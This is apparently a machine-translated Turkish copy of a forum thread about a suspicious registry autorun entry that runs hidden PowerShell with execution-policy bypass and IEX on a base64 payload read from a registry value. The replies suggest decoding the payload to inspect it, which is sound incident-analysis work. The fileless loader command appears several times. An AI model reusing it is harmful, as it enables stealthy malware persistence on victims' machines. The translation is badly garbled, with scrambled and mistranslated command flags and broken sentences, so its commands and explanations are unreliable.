Arka planda çalışan bir powershell komut dosyasının içeriğini nasıl okuyabilirim? -windowstyle baypas IEX -executionpolicy gizli -noprofile \ Windows \ System32 \ WindowsPowerShell \ v1.0 \ powershell.exe"([Text.Encoding:

Question

Ben ProcessExplorer

C tarafından bu satırı almak ] :: ASCII.GetString ([dönüştürme] :: FromBase64String ((gp 'HKCU: \ Software \ Classes \ ZXWNMNLIMAGAL'.) LOOTDA))?);

şüpheli ya da normal görünüyor o demek mi Komut dosyası bir dosyada değil, kayıt defterinde kaydedilir mi? o zaman nasıl okunur

Düzenleme: Şimdi ben kayıt bu okurken o kodlanmış bir virüs olabilir eminim:

Google Güncelleme
"C REG_SZ: \ Users \ michael \ AppData \ Local \ Google \ Update \ GoogleUpdate.exe "/ c {BE9473EA-5660-4BF7-91C3-2A2258213EE1} REG_SZ C: \ Windows \ system32 \ WindowsPowerShell \ v1.0 \ powershell.exe -noprofile -windowstyle gizli -executionpolicy bypass iex ([Text.Encoding] :: ASCII.GetString ([Dönüştür] :: FromBase64String ((gp 'HKCU: \ Yazılım \ Sınıflar \ ZXWNMNLIMAGAL'). LOOTDA)));

How can i read the source code of this encoded powershell script from the registry?

: Herkes bu tartışmayı devam etmek istiyorsanız 15:55

@ 29/03/2016 tarihinde

Düzenleme ben bu virüs çözmek için burada istedi

Answer 1

C: \ Windows \ System32 \ WindowsPowerShell \ v1.0 \ powershell.exe "-noprofile -windowstyle hidden -executionpolicy bypass iex ([Text.Encoding] :: ASCII.GetString ([Dönüştür] :: FromBase64String ((gp 'HKCU: \ Yazılım \ Sınıflar \ ZXWNMNLIMAGAL'). LOOTDA)));

Bu kod PowerShell kayıt defterinden hiçbir pencere ve atlayarak ExecutionPolicy kısıtlamalarla bir komutu çalıştırmak anlamına gelir anahtar HKCU:\Software\Classes\ZXWNMNLIMAGAL (Base64 kodlanmış).

Bana bir virüs gibi görünüyor. Eğer PowerShell konsolunda bu kodu çalıştırmak eğer

Komuta tanımlayabilirsiniz:

([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\ZXWNMNLIMAGAL').LOOTDA))) 

Bu yürütmek için niyet var gösterecektir.

Answer 2

Aynısını aldım. Emin değilim, ama gizli bir betik powershell içinde çalışır. betik bir kimlik avı olabilir. Sanırım benimki epostalarımı görünümlerime gönderiyor.